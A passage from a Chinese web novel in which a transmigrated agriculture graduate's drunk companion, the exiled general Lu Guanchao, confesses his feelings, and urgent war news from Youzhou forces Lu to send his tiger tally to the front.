大汉看到他们桌上几壶空酒瓶,道,“两位小兄弟豪爽。” 陆观潮眉毛低压,不悦的看向打扰他说话的人,眼中的戾气都要溢出来了。 好嘛,这就醉了,季铮掠过桌上的酒瓶,陆观潮的酒量大概是五壶米酒的量,很一般啊。 他怕醉酒的陆观潮耍酒疯,在人激怒大汉前道,“不敢当,几位谬赞了。” 本以为互相打个招呼就过去了,不料这大汉是爱说话的,招呼兄弟拼桌,只听“砰砰砰”几声闷响,乱七八糟的桌椅酒菜挤到他们身边。 “我姓连。”大汉道,“连和盛,四季镖局的二当家,公子何许人也?” 陆观潮眯了眯眼,目光沉沉的放在连和盛搭在季铮肩上的手。 季铮一边怕陆观潮有什么动作,一边疑心连和盛的深意,回答的模棱两可,“敝姓季,季铮,一平头百姓罢了,吴阳镇人,可是打搅各位义士了?” 连和盛哈哈大笑,“义士谈不上,我们刀尖上舔血,混口饭吃,公子讲话讲究,相貌堂堂,不止是平头百姓这么简单吧。” 他原看着和季铮一起的陆观潮身量结实,根骨绝佳,面相倔,像常年练武的人,而今镖局缺人,想问问人有没有进镖局的意思。 又观察两人对坐,外人看不出正常,可他自幼习武不会看错。 陆观潮刻意收敛气息,摆低姿态,透着一副臣服态,喝醉了也未见分毫变化,定是从内到外,从身到心,绝对信服季铮。 这种倔人,不是能轻易卸下防备的,一瞬间,他对季铮的兴趣盖过了陆观潮。 下一秒,陆观潮拍桌而立,引得两桌人纷纷看向他。 季铮眨眨眼,无声询问。 陆观潮直勾勾的看着他,良久,在所有人的目光下,他毫不客气的退后一步,走到另一边,坐到季铮身边。 他坐下木然道,“我想回家了。” 季铮:“……” 连和盛和众人面面相觑,最后笑着道,“这位公子醉了吧。” 陆观潮不赞同的蹙眉,“胡言乱语。” 说着他拉起季铮要走,起身起到一半,像是发现什么有意思的东西,老老实实的坐回去不动了。 他这套行为太莫名其妙,但醉酒的人干出什么事都是正常的,无人把他放到心上,也就没人注意到,季铮脸上一闪而过的慌张。 桌下,陆观潮把玩着季铮的手指,仿佛得了个珍贵的宝物,又捏又搓,爱不释手。 季铮面上如常,和连和盛道,“连大哥,对不住,我这兄弟不善饮酒,见笑了。” 说着说着,陆观潮毫不客气的朝他手心挠痒痒,季铮挣扎不开,就握住手心陆观潮的手指掐了一把。 陆观潮吃痛, 好不容易老实一会,顿了顿,不知教训的接着挠。 季铮不掐他,陆观潮就烦闷的捏他的指尖催促。 连和盛问道,“季公子脸色不妙啊,不舒服吗?” “不是。”季铮摁住陆观潮,“许是我喝酒上头了,不妨事,连大哥不是弯弯绕绕的人,有事但说无妨,能帮上忙我自然不会吝啬。” 这个世道,多条人脉就是多一条路,季铮虽不知这人到底要做什么,但不是坏事,先问问清楚再说。 连和盛“哈哈”一笑,“你的性子我喜欢,不知是否有幸能和公子结交?” “三生有幸。”季铮笑着和连和盛碰了下酒碗,双双饮尽。 连和盛又道,“今天弟兄们都在这,我也不来虚的,这壶酒下肚,咱们就算一家人了,季老弟,以后在外报我姓名,是爷爷是奶奶都得给你几分薄面。” 这是抱上大腿了啊。 季铮一拱手,“多谢。” “说谢多见外。”连和盛道,“实话给你说,这段日子不安生,季老弟可要注意着,有人要不长眼,欺负到你头上,记得来四季镖局,我罩着你。” 两人相谈甚欢,陆观潮不知抽了哪门子风,趴在季铮耳边道,“我也能罩着你。” 两条金大腿啊! 马蹄踏过泥泞,溅起一滩污水。 李当归打着伞,立在家门口,远远看到自家哥哥下马车,忙迎上去,“阿兄。” 天边淅淅沥沥下着小雨,李不言疾走两步接住,“怎么不在家里呆着。” 他没母亲,父亲不苟言笑,李当归算是他一手带大的,没人天生就会养孩子,要不是见李当归闷闷不乐,李不言才反应过来妹妹初来驾到,得多陪陪人。 好在陛下身子渐渐缓和,李不言得闲每日回家。 李当归给李不言撑起伞道,“今日当值辛苦了,马上就能吃饭。” 李不言道,“后面几日我有可能晚归,圣人弟弟下葬,恐圣人忧思过重,我得时刻受命。” 圣人,就是当朝陛下了。 “怎么总生病……”李当归嘟囔了两句。 这边,季铮和连和盛一众人喝了几杯,他们要在此住一晚整顿,喝到最后趴了一桌,唯二没倒下的连和盛也是强撑着。 最后坚持不住被店小二抬回房。 原身酒量和他前世差不多,季铮还能保持清醒,临走时把他们账上的钱结了。 季铮扶起陆观潮,“走了,我们能回家了。” 陆观潮呆呆抬起头,“手。” “什么?”季铮没听明白,问道,“手怎么了。” 陆观潮垂着眼,握住季铮手腕,强硬的穿过五根手指收紧。 十指相扣。 季铮心率加速,一时招架不住。 “好了。” 陆观潮牵起一个心满意足的笑。 好什么好,季铮心道差极了。 陆观潮真是,喝醉酒不管不顾,两个大男人手拉手走在街上,像什么样子。 他犹豫着,却是回握住了。 也罢也罢,反正也没人认识,丢人就丢人吧。 两只手交缠重叠在一起,陆观潮开心的晃了晃。 他轻声唤,“季铮。” “又要干嘛?”季铮叹道。 陆观潮继续道,“我不喜欢那个姑娘,我喜欢你。” 我喜欢你。 陆观潮喜欢季铮。 惊涛骇浪,波澜骤起。 季铮脑中的弦“嗡”的一声断开,再也无法复原。 37. 第 37 章 喜欢这个词恰恰好,没爱轻浮,比爱自然。 你可以说喜欢任何事物,但不能随便说爱,这个字局限太多,局限到只适用于亲密关系,堪比血缘的深刻联系。 所以,喜欢也会更容易说出口。 什么是喜欢,什么是爱,又有几个人能分得清。 陆观潮口中的喜欢,是什么意思呢,季铮冥思苦想也得不出一个究竟。 喜欢他的性格,他的才能,他的想法,还是他这个人。 喜欢花草虫鱼的喜欢,又或者他想象中的喜欢。 他见过太多因为羞于启齿,而用“喜欢”来试探的人,陆观潮是这样吗? 季铮又说不准,万一陆观潮真就是傻子一个,不通情感,单纯出于夸赞? 那么他现在的抓耳挠腮,显得太自作多情了吧。 陆观潮说完这句话,像是完成大事一般,将头靠在季铮肩膀醉晕过去。 季铮低头看着两人还保持十指相扣的手,少了陆观潮那股强硬的力气,两只手要松不松。 店小二在打瞌睡,店里没人,自然不会被发现,何谈丢不丢人。 季铮手指抽动两下,不知出于什么心理,缓缓收紧了。 这么一对比,他和陆观潮的肤色差鲜明起来。 平日里看不出来,陆观潮竟比他黑一些,季铮忘了该怎么描述,是那种现代人追求的健康黑,很漂亮的颜色。 手也大一圈,青筋微凸,瞧着极有安全感。 季铮揉了揉陆观潮虎口处的茧子,有点刮手。 他想,如果有幸回到现代,最好带着陆观潮一起,到时候给人找个模特的活,岂不是赚的盆满钵满。 陆观潮清醒过来时,窗外已经夕阳西下,落日余晖透过缝隙照到他眼皮上,他下意识遮住眼。 鼻腔内有一股劣质熏香的味道,呛得他咳嗽了两声。 陆观潮眯起眼,当下立即反应过来,自己不在家里。 眼前轻薄的白色帷帐扎着,被人仔仔细细的捆好,身上的被子柔软,床榻也不同往日。 他猛地坐起,环顾四周,陌生的屋内空无一人,季铮不在。 本该断片消失的记忆在此刻一股脑的涌入他的脑海。 陆观潮一时呆愣在原地。 他究竟对季铮说了什么! 他对季铮干了什么! 陆观潮一脸绝望,看着自己的手,恨不得把他割掉。 季铮不会嫌他恶心把他丢了吧? 这个念头冒出,陆观潮浑身一僵,再也无法坐着发呆,连忙整理衣物夺门而出。 开玩笑,季铮怎么能嫌弃他。 “这又是什么东西。” 这几日陈昇忙着村里各家辕犁改良,称得上一句脚不沾地,好不容易闲下来又拿到季铮给的新图纸。 这是一件比前几次图纸更复杂的农具,他研究了半晌也没看出个思路。 季铮的新奇点子他早就见识到了,但那些都是建立在他认识的东西之上,照葫芦画瓢就能做出来。 而这一件,他从没见过类似的物件,免不了手足无措。 陈昇捏着下巴,问道,“它叫什么名字?” “翻车。”季铮道,“叫它龙骨车也行,你能行吗?” 陈昇难得迟疑了,“我试试,这是做什么用的,我竟从没见过。” 季铮神秘莫测的笑笑,“做出来你就知道了。” 陈昇点点头,自打辕犁之后,他对季铮的信服度达到惊人的百分百,即便季铮端来一碗屎说吃了能延年益寿,他也能眼也不眨的吃下。 忽的他想起什么,道,“对了,辕犁的事我做的差不多了,除了村边上几户和沈屠户,人人家里都有了,剩下的也就差组装,最快今晚就能完成。” 陈昇转身回房,取出装钱的陶罐子塞到季铮手里,“这是给的报酬,我不敢多收,全在这了。” 季铮喜道,“太好了,这钱你拿着吧,材料也要钱啊。” 陈昇固执的要给季铮分钱,“不过是些木头,漫山遍野都是,来找我改的大多自带材料,花不了几个钱,季铮哥要养一家子人,比我更要紧。” 这该怎么和人解释,季铮哭笑不得,他现在压根不差钱,可这话说出口,也太不要脸了。 最终,季铮为了叫陈昇安心,象征性的抽了一部分,陈昇这才放过他。 做完一切,陈昇奇怪的“咦”了一声,问道,“陆哥今天怎么没跟着一起来,我还想托他帮忙去砍些木头。” “这个……”季铮哽了一下,找借口道,“他今日有事,我没告诉他自己来了,我帮你吧。” 陆观潮体重实在不轻,季铮这段时间健身,是比刚穿来时强了不止一星半点,不过抬着一个比他高比他重,且昏迷的成年男人还是太困难了, 就算勉强抬回去,也得累瘫下,他又要来找陈昇,迫不得已开间房,把陆观潮安顿在酒肆。 正好他可以趁此时间静一静。 天不早了,这会陆观潮大概醒了,不知道会露出什么表情。 陈昇半信半疑,要说陆观潮,可是在农忙最缺人时,也要守在季铮身边的人,到底是什么天大的事,比跟着季铮还重要。 两人正说着,身后传来熟悉的声音。 “季铮。” 季铮心底咯噔一声,艰难回头。 果然是陆观潮。 这个点他是怎么回来的,一路跑回来吗? 季铮算错了,不该让陆观潮去当模特,干脆直接拉去参加马拉松罢了。 陆观潮眼睫微垂,看不出什么情绪,就那么站在门口,有点呆。 陈昇左看看右看看,见两方脸色都不好看,罕见的长了一回眼色。 他轻咳两下道,“我想起来了,到我阿姐送信来的时候了,那我先走了,季铮哥你和陆哥聊。” 说罢,脚底抹油,溜得飞快。 季铮踱步到陆观潮身边,“喝了那么多,你晕不晕?” “不晕。”陆观潮摇了摇头。 他不常喝酒,从前在冷宫的时候,没机会喝到,后来出冷宫,年节办宫宴是有酒,但朝臣喝醉了胡言乱语,倒他胃口,吃饭的兴致都没了,更别提喝酒。 陆观潮没喝酒的习惯,不觉得这酒的滋味和茶水有什么区别,只有在军营里驱寒喝过几口。 曾听说酒量是天生的,话本神话里那些煞星恶鬼千杯不醉,万杯不倒,他便先入为主,自认为酒量不差。 没承想谣言害人,他不仅喝醉了,还耍了酒疯。 一回想起自己干的事,陆观潮就头皮发麻,连带着和季铮对视的勇气都没了。 两人尴尬的并肩走着,还是季铮打破沉默,“怎么找来了?” “我醒了没见到你。”陆观潮说起这些来隐约藏着丝丝怨气,“回家问赵年才知你来找陈昇了,于是就来了,打扰你了吗?” “没。”季铮偏头,犹豫片刻,还是问出口,“你还记得你喝醉后干了什么吗?” 记得,怎么可能不记得。 陆观潮从没有一刻记忆能清晰过它的。 他怕季铮问起,又怕季铮不问,换而言之,他怕季铮在意,也怕季铮不在意,说到底不过是怕季铮的态度。 陆观潮以为季铮问后他会如释重负,可真问了,他又忍不住七上八下,一颗心不知如何安置。 季铮没等到陆观潮回话,刚张开要说什么的嘴合 上。 终究是误会一场,没什么值得放在心上的。 他笑了下,开玩笑般道,“以后可不敢让你喝酒了,你那酒量还不如我呢,喝醉了老沉一个人,我可招架不住。” 喜爱是很难承认的事情吗。 不是的,陆观潮想,于他而言,难的是发觉这种情绪。 真是难为他了,没受过一天疼爱的人,在这么短的时间里喜爱上另一个人,短到他都没能察觉。 陆观潮不确定自己对季铮的私心,是不是他人口中相伴一生的喜欢。 他只知道,他喜欢季铮,是喜欢小宠不舍得让别人碰的喜欢,是喜欢珍宝不想被别人发现的喜欢,喜欢到想独占这个人,喜欢到可以拿虎符去换。 一个将军,尤其是一个步履维艰二十年载的将军,会这样想,其实是一件很可怕的事。 不亚于把自己的脑袋交到那人手里,顺便再送一把专门克自己的利刃,功名,性命,这一辈子,都交付出去。 在季铮冲他笑的这一下,如同拨云见日,豁然开朗,所有不明白的都明了了。 他,陆观潮,心悦季铮。 刹那间,枯木逢春,一万个春天在他心底炸开。 原来,这份情感比喜欢汹涌的多,比喜欢可怕的多。 原来,他聪明一世,转头心甘情愿掉入一个陷阱。 陆观潮没得过老天眷顾,被叫煞星久了,也把自己当煞星了,这个世界最擅长夺走他珍视的东西。 所以他放任季铮在他心里生根发芽,做好了他离开的准备。 钦天监算准了日子,珏王下葬那天,明明该是大晴天,眨眼间却乌云密布,雷电交加。 帝王陆泽与孙太后亲自相送,就要到皇陵之际,天边降下一道惊雷,险些劈中陆泽。 钦天监白胡子监正惶恐扑地,直道此乃祖宗震怒,不满安排。 随行的人一联想,哎呀,老祖宗百年不发怒,为什么偏偏珏王葬礼上发作,有蹊跷,一定有蹊跷。 陆泽黑沉着脸吩咐人调查,钦天监的一种人又掐又算,得出结论。 ——珏王命格带煞,不宜入皇陵。 此话一出,满堂皆惊,抬棺材的将士两股战战,冒了一头虚汗,有一个甚至晕了,棺材塌了一角,压得人东倒西歪。 放到不知情的人眼里不一样了,棺材倒了,人晕了,这不就是煞气重的证明吗? 因此,珏王棺材拐弯绕过皇陵,埋入城郊寺庙观音座下。 浩浩荡荡的队伍般走观音,哼哧哼哧的挖坑,本该端正庄严的一行人滑稽极了。 珏王葬礼,以闹剧收场。 天边轰隆巨响,黑压压的云仿佛伸手就能勾到。 陆观潮和季铮的关系回到了原本的模式,两人都当那件事没发生,要说变化,唯一的变化是陆观潮晚上不死死抱着季铮睡了。 起初季铮还挺自在,一觉睡醒身子轻松爽利,日子长了,他又开始怀念陆观潮的体温,没了埋在怀里的人,怪怪的。 院子里,陆观潮忙着收拾柴火,赵年和季秧研究什么字体好看。 元元也不闲着,在墙角扑苍蝇。 季铮长叹一口气,百无聊赖的点开系统,看到【任务进度100%】几个字后,这几天的阴霾一扫而空。 好样的陈昇,下着雨也能赶进度。 他点开任务四,系统跳出撒花 【任务四,普及曲辕犁至临沂村,超额完成,恭喜宿主,是否发放奖励耧车~】 【发放隐藏任务,暂无任务介绍,奖励:牙膏简易制作,宿主自行探索,再接再厉哦!】 “……” ? 要不要这么整他?! 38. 第 38 章 季铮忍着怒气,颤颤巍巍的点下选项“是”。 系统叮叮咚咚敲打了一顿,才弹出对话框【奖励已发放,希望宿主生活幸福哦。】 幸福个毛线啊幸福! 经过这几次系统出其不意的摧残,季铮总算认清了系统的本质,有用但不多,关键时刻掉链子,两面三刀耍无赖。 简直不正经到极点。 正在心底抱怨时,陆观潮收拾完柴火,一回头看季铮蔫蔫的样子,问道,“你怎么了,没睡好?” 季铮叹着气摇了摇头,“没事,我要去陈昇那里一趟。” 他说罢,想起陈昇那句疑问,头一次主动邀约陆观潮,“你要不要一起?” 问出这句话后,季铮又忍不住反思,难不成在外人眼里,他和陆观潮的关系已经好到形影不离的地步了? 不妙不妙,现在说一句兄弟情深尚且可以糊弄过去,如果再这么下去,来日若陆观潮有点什么事离开,被传成什么还说不准。 什么季铮发达了赶走兄弟,或者夸张一点,直接拉郎配。 一想到自己喜滋滋听的谣言主角变成他本人,季铮就一脸菜色,还是找个时机解释一番,以免陆观潮“英名”被他毁的更彻底。 陆观潮自然应允,忙丢了斧头跟上季铮。 天边叽叽喳喳的一阵鸟叫,赵年眯起眼盯了会,才分辨出是信鸽,许是大都眼线每旬例行报备。 他不动声色的向陆观潮打了个眼色,借口如厕溜出去。 可惜世事无常。 赵年看到纸条上的内容,浑身一抖,瞳孔猛烈的颤了颤,险些站不住。 “大都急报,珏王死讯没能瞒住,辽军发觉,前线传来消息,已有进攻趋势。” 不等他挽回理智,思虑对策,一道惊雷劈下。 面前新一只彩脖子信鸽惨叫一声,直直坠下,倒地扑腾了几下,没了声息。 脚踝处绑着赤色布条。 这是…… 赵年这次真崩溃了。 到陈昇家时,人还在补觉,披了件外袍,头发都没来得及梳就来了。 见季铮又拿着新的给他看,一下子情绪上涌,急得都要哭了。 这辕犁才告一段落,翻车还没开始看,怎么又来一件? 随着季铮掏出的新奇玩意越来越多,陈昇从一开始的欣喜若狂,到现在叫哭连天不过五个多月的时间。 而季铮和他相处下来,对陈昇的性格有了更全面的了解,这孩子看起来逆来顺受,傻乎乎的,但脾气不是一般的倔,尤其是在干活上,格外较真。 东西一天没弄懂,一天就吃不下饭,睡不着觉。 这样想着,季铮也不敢给他压力了,生怕他走火入魔,小命休矣了,以后还有的陈昇干呢。 陈昇哭丧着脸道,“季铮哥,你歇歇吧,让我也歇歇。” 难得听他求饶,季铮看着他乱糟糟的头发,什么话也说不出来了,打着哈哈道,“辛苦了辛苦了。” 为表歉意,季铮特意留了一会,和陈昇一起研究。 他到底是农学院毕业的,术业有专攻,会不会用自不多说,前世实打实上手摸过,肯定比陈昇懂得多。 先前全权交给陈昇是懒得动手,恰好陈昇积极,他也想借此交个朋友。 而今不用了,季铮也没必要隐身了。 为防止起疑,季铮对陈昇的解释逐渐从捣鼓出来的,变成了几年前的研究。 陈昇嘴上不说,但满眼写满了膜拜天才,认准了季铮就是文昌帝君下凡造福百姓,出生神童无人能及,不自觉的愈发恭敬,已经有多久没敢和季铮勾肩搭背他都记不清了。 陆观潮跟着听了一会,若有所思。 季铮答应给他图纸,说到做到,无论是什么,总先拟一份给他,久而久之他就不多问了。 季铮和他人谈事时也做足尊重,尽量只看季铮,不听他们说了什么,除非是十分好奇的事物。 比方说上次季铮和宋有音谈论的经商之道,仿佛提及了什么,宋有音兴致勃勃的,一副要大干一场的模样。 他想问,无奈被镖局那连什么盛打断了,再之后便是他醉酒,太过尴尬了,以至于不好开口和季铮聊那天的事。 这件被季铮称之为“耧车”的奇怪工具,却是没见季铮提前给他。 凭什么陈昇一次不落,他排到后面了,不知为何,陆观潮隐隐觉得不舒服。 这就是话本里写到的吃醋? 陆观潮不由细想,话本里的主人公是怎么忍住的。 快要到家,赵年急匆匆的跑出来,一脸焦急。 大周密信用专人驯养的鸽子传递,不用多次引路,一条路走过一遍就能记清楚,只认气味声音,一旦落入非人手里,便会毁信而亡。 根据消息紧要程度分为三个档次,日常通信为灰色红眼,一般讯息用灰色黑眼,紧急则用白鸽,通常是前线来信。 军中非必要情况不会动用最高级彩脖子,这类鸽子性烈,灵活性强,不惧暴雪暴雨,尤为难训。 除非,迫在眉睫,生死关头。 第二封前线急报,需主帅亲启,赵年没资格打开,急的团团转,看到陆观潮回来宛如看到救星,长舒一口气,忙把信件给陆观潮看。 陆观潮瞟见一抹赤色,神色陡然严肃下来。 一级警报,镇南候亲发,迄今为止第二高的战报。 陆观潮心一惊,幽州发生了什么?! 季铮观察到两人之间的气氛,联系上赵年手上的信件,猜出这件事一定不同凡响,主动叫出季秧,给他们腾出位置。 陆观潮擦着季秧径直进屋,赵年随后跟上。 季秧懵懵懂懂的站在季铮身边,不解问,“陆先生和赵公子这么急有什么事啊?” “他们先放一边。”季铮轻咳一声岔开话题,“你学的也差不多了,不用再时刻教导,有没有想过找个活干?” 他说完,又补充,“做些轻巧的活,打发打发时间,家里不用你赚钱,你就当去玩了,不合心意随时回来。” 季秧眼眸一亮,抓住季铮袖子追问,“可以吗?我都要待得长蘑菇了!在哪里在哪里?” 还好季秧不反感做工,季铮自打小姑娘对做生意爆发出浓烈的兴趣后,很长一段时间都在留心帮她找账房一类的活,意图锻炼锻炼孩 子。 小姑娘嘛,还是有一身本领好,能安生立命最好,他是可以照顾季秧一辈子,但总有照顾不到地方。 更何况季铮看得出,季秧有天赋,就更不想让人埋没。 前几天东看看西挑挑,好不容易找到合适的了,正是宋有音。 他判断过来,茶坊客人多,三个人各司其职,就缺一个管账的,于是用了制糖的法子换了职务。 亏是亏了,不过别的地方季铮不放心,也担心季秧被欺负。 放在熟人那,既能学到东西,又能规避新人受排挤,两全之法。 季铮眨眨眼,“包你满意。” 另一边,陆观潮边拆信件,边听赵年叙述。 殿下恢复了在军中熟悉的淡漠表情,那种天塌下来也不动眉毛的气势压下来,赵年无端觉得安心,方才还焦躁不安的心慢慢冷静下来,大脑也可以正常运作了。 他将第一封大都来的信放到一旁,道,“大都的信更早,应该是没多久辽军出兵了,信中没提到圣上,属下猜测许是分批传信,下一份信件我会多留意。” 陆观潮一颔首,再看赤色信件,果不其然是辽军来战。 他们只知道珏王不在,不知道还有镇南候这位老主帅在,一次进攻后很快被防守,没造成二次伤害。 可他没有虎符在手,只得防守,无法进攻,就这么被人围起来打,城坡乃迟早的事。 更不幸的时,镇南候左臂被火箭刺中,强撑着精神给陆观潮写了军情,军医束手无策,这条胳膊弄不好要废了。 正值战时,主帅就是士气,主帅在则军在,主帅倒则军散,这个时刻,镇南候不能出事。 辽军显然也想到这点,更加猖狂,几乎是不要命的攻城,一日之内能战三场。 镇南候信中道,这把老骨头撑不了多久,望殿下早作打算。 短短几句,陆观潮看了良久。 末了,他闭了闭眼,沉着安排,“赵年。” 赵年跪下听令,“属下在。” “即可前往幽州。”陆观潮取出贴身安置的虎符,大拇指抚过雕刻的图案,最后郑重交给赵年,“把这个给侯爷,对他说千万活着,等我回去。” 赵年拿虎符的手颤了颤,急道,“殿下,你切末心急,眼下不是回京的最好时机,” “我自然清楚,我心里有数。”陆观潮拍了把赵年的肩膀,“好好干,干得好,这次回去我给你提职。” 老天爷好不长眼,哗哗啦啦的下起阵雨,赵年冒雨出发,和季铮打个招呼的时间的没有。 安抚好季秧,季铮悄悄问陆观潮,“发生什么了?” 即便陆观潮面色如常,季铮还是感受到了一丝不同寻常的味道。 陆观潮现在貌似,很伤心…… 季铮坐到陆观潮身边,想着再说点什么时,忽的被抱了个满怀。 屋内无人,四下安静无声,窗外细雨斜斜打到窗台,透进些许寒气。 陆观潮抱的更紧了,像个孩子似的蜷缩在季铮怀里取暖。 隔了一会,季铮回抱住陆观潮,在他后背轻轻拍着。 他道,“会好的。” 39. 第 39 章 陆观潮无言半晌,慢吞吞的自己起来了,他看着季铮的眼神,那才冒出一点点的阴郁荡然无存。 也是,千军万马,冷宫十几年都熬出来了,区区一个油尽灯枯的陆泽,和不日归西的孙太后,能奈他几何。 思及此,陆观潮无端露出一个笑,看得季铮一愣。 季铮不解问,“你笑什么?” “没什么。”他端坐好,再度掏出那枚玉符,盯了片刻,又道,“这不是什么好料子,也没有调令三军的本领,此物不足以用来报答,不过驱使我是足够了。” 陆观潮郑重的将玉符交到季铮面前,“只要你拿着这个,无论是刀山火海,悉听尊便。” 季铮深知这句话的重量。 陆观潮是何许人也? 名声再臭,再不得民心,那也是统领幽州数万将士的主帅,堂堂珏王殿下,后世要尊称一句少年将军的人物。 这样的身份,这样的英雄,对他俯首称臣。 季铮何德何能,受此大礼。 看来陆观潮之前说的那些都是真的,他对幽州将士和谋士,当真是肝胆相照,追随这为主公,貌似待遇很好啊。 玉符拿在手里,季铮第一次认真看这件“神器”。 陆观潮说的不是好料子,在季铮眼里已然是前所未见了。 他依稀记起,前世在短视频平台一闪而过的玉石直播间,那些标着宛如防拍价的玉符,好像也没这件漂亮。 季铮贴身仔细保存好,对陆观潮道,“没想到最后还真抱上金大腿了。” 陆观潮皱皱眉,摇头道,“你不一样,我不会让你用附庸的身份在幽州。” “好吧。”季铮暗笑,并没放在心上。 他说破天不过小小生员,一不家门造势,二无著作现世,白的不能再白了,哪怕攀附陆观潮这条身份,最多最多也就是二等谋士了,难不成陆观潮能力排众议扶他为一等谋士? 即便陆观潮能,他也不愿成为众矢之的,一等谋士一般都要在军中立下大功,或算无遗算,或文韬武略。 遭其他谋士下属眼红,可不是一个好开头。 得来之地且安之,季铮自穿越以来,为了不被别人怀疑学疯了,得闲就研究大周的制度,努力不露馅,现在已学得七七八八,伪装一个有文化但不多的生员绰绰有余。 原身涉猎甚多,天南海北的书都收集,若不是本本崭新空白,季铮都要被骗过去了。 大周文官众多,一些考中功名却迟迟得不到重用的文人,最后的出路是进军中做谋士。 原身就算一个,考中生员后本该分配官职的,因迟迟不缺人手,季铮一直在老家无人问津。 按照原身这情况,只有进军做谋士,和参加乡试再分配两条出路了。 至于为什么他不去做谋士,季铮了解得知,倘若不是实在活不起了,几乎没有文人愿意走这路。 原因无他,丢面啊。 这些文人把脸面看得极重,认为军中是粗人,污秽之地,自然不肯去。 不过人活着就要吃饭,不愿意是一回事,吃不起饭又是一回事,性命当前,什么面子风骨都通通忘了。 谋士也卷的很,军中分一二三等谋士,根据门第,名声,才干分别。 陆观潮要给他走后门可不是好走的。 “幽州遇敌。”陆观潮顿了顿,迟疑着开口,“我这几日要想法子回去了。” 季铮心底漏了一拍,“这么快。” 他说罢,又问,“幽州怎么样了。” 怪不得赵年急匆匆的走了,看陆观潮此时的状态,想来是有了对策,季铮悬起的心缓缓放下,这边放下了,那边又提起了。 从陆观潮暴露身世起,他早知道会有这一天,陆观潮不可能永远在他身边。 在这说乱不乱,说安定也不安定的战局,没有信号通讯,书信丢失概率达到惊人的百分之七十,一旦分来,便是天各一方,聚少离多实属常事,能不能再见面都要看命。 季铮应该做好和陆观潮分开的准备,他也是这么给自己说的,但这天到来时,他又舍不得了。 舍不得什么,季铮说不准,陆观潮帮他干的活吗? 陆观潮道,“不好说,战场的事,差之毫厘,失之千里。” 看到季铮一下子严肃的表情,他又笑笑道,“放宽心,我有把握。” 【幽州】 赵年人未到,信先到。 半瘫在床上的镇南候收到信件,紧绷的神经得到了片刻放松。 他看过信,转手交给身边各队大小统领。 信件一一传过,看过的人无一不欣喜若狂。 周琉邬最后一个看过信,他情绪倒还平稳,长舒一口气,末了宛如劫后余生,“如此就好,如此就好。” 其余人亦惊亦喜,连声的庆祝感慨,有甚者话都说不出,帐内前所未有的好气氛。 尤其是顾宜,眼泪汪汪哭花了脸,他笨重的擦着泪水,呜呜咽咽道,“我家殿下啊,我就知道殿下怎么可能那么容易就走了,万幸万幸。” 帐中都是武将,叶萧禾眼下得了准信,才敢告诉他们,暂时还不能通知一众谋士,不然那些人闹闹哄哄的迟早露馅。 就一个张佴够他受的的,自从陆观潮假死死讯传来,张佴整日拉个二胡鬼哭狼嚎,歌颂珏王的诗谣一首接一首,一会要自尽随主而去,一会要隐退江湖再不出世。 最终被叶萧禾以战事当前扰乱军心为由禁足,就这也不知足,偷偷摸摸摆了衣冠墓,架了招魂幡,转而研究起起死回生之术,盼望着他家邪神主公入体。 被发现时饿得马上要七窍生烟了,闹了好一番笑话。 顾宜擦看眼泪道,“侯爷,我得赶紧告诉张佴去,不然他的尿性,明天就要在军中宣言为殿下献身了。” 周琉邬道,“侯爷,张佴万一得意忘形……” “去吧。”叶萧禾捂着胳膊咳嗽一阵,面色几经苍白,“让他正经些,别再霍霍自己人了。” 顾宜退下后,周琉邬和几位将军扶了一把叶萧禾,让他调整了一个舒服的姿势。 周琉邬问,“张佴性子张扬,恐有走漏风声的风险。” 叶萧禾眉头紧锁,沉重道,“就是要走漏才好。” “这是何意?”周琉邬摸不到头脑,“如今我军的兵力不够,耗不了多久,若殿下还活着的消息传出,他们鱼死网破了怎么办。” 叶萧禾道,“鱼死网破倒不至于,张佴虽张扬,但诡计无常,他们在张佴身上吃过亏,不会再轻易上当,现在要做到,是用半真半假的消息吓住他们,拖到虎符来。” 周琉邬想来的确如此,便稍稍安心,张佴出了名的信鬼神,总弄些骇人听闻的点子,临阵变卦称时运不济也是常有的事,是人都对他有所怀疑。 相比于辽军,周琉邬如今更担心叶萧禾的病情。 军中大夫多处理大伤口,腿瘸了怎么办,锯掉就成,被捅肚子了怎么办,撒药裹上听天由命。 像叶萧禾这种伤处巧妙的,实在无从下手,只上些简单的金疮药包扎住,还要等大都来太医看。 可这时请太医,岂不是昭告天下主帅重伤,乱了军心,增了敌情。 没办法,就得耗着,周琉邬眼瞅着纱布又鲜红一片,咬牙叫来大夫,但愿殿下那边顺利。 一大早,季铮领着季秧去有云茶坊,陆观潮说要处理些事,难得没跟着。 有云茶坊依旧忙碌,宋有音一见季铮来了,硬是腾出一个时辰接待,听说季秧要来帮忙,喜气洋洋的答应,开的月银是她上一家的两三倍。 近水楼台先得月,季铮算好了,宋有音有心和他交好,必定会同意让季秧来身边,不过没想到,竟舍得开这么高的工资。 季秧歇了几个月,她本不是个爱清闲的人,有事干更顺心,今日来茶坊一路上都是蹦蹦跳跳,气色都好了不少。 茶坊点心饮子种类繁多,账本更是杂乱,好在季秧学东西快,且对数字有天然的兴趣,没教几遍便学会了,跟着季铮陆观潮学的知识总算用上来,抱着算盘算的津津有味。 季 铮看了一会,他没学过账本,一眼瞄过去两眼一抹黑,也不知季秧是怎么这么欢喜的。 小姑娘算得入迷,一抬头见季铮还在这,板起脸赶人,“阿兄,你回去吧,我能行。” 季铮被嫌弃,讪讪干笑一声,正好他有别的事,告别几人离开。 隐藏任务虽没具体描述,但种田系统顾名思义,切入点当然是种田啊! 那么隐藏任务肯定就是种田了,前段时间季秧买回来的小麦种还没播种,据季铮推测,播种冬小麦没跑了。 趁着陆观潮还在,他得赶紧再捞一把力气。 他走后没多久,有云茶坊外一声厉喝,一衣着不凡的中年男人踱步进店,身后跟着几个家丁,三下五除二的把店里的客人撵出去。 客人不认识这人,乍一被打搅,免不了气愤叫嚷。 直到为首的家丁道出一句,“县令大人来寻人,尔等还不让开,小心脑袋。”,立即没了话说,憋着一肚子气散开。 周围忽的吵闹,季秧打算盘的手一停,不解的四下看看,还没反应过来,就被眼前的人吓了一跳。 男人衣冠华丽,头上簪的金簪不比姑娘家的黯淡,在太阳底下一闪一闪的晃得睁不开眼。 待睁开后,又忍不住想合上。 太丑了,丑到季秧不敢多看,生怕被传染。 宋有音听到声音从后厨出来,浮水镇鲜少见官老爷,她儿时跑商,见过不少风雨,挂起笑迎道,“县令老爷安好,有劳大驾,草民这小店切莫污了您的脚,您喝茶还是吃果子?” 董县令没开口,宋有音又问几个家丁,“几位大哥可要吃酒?” “不吃。”一家丁道,“我们老爷来找人,你见过一个叫李芸的歌姬。” 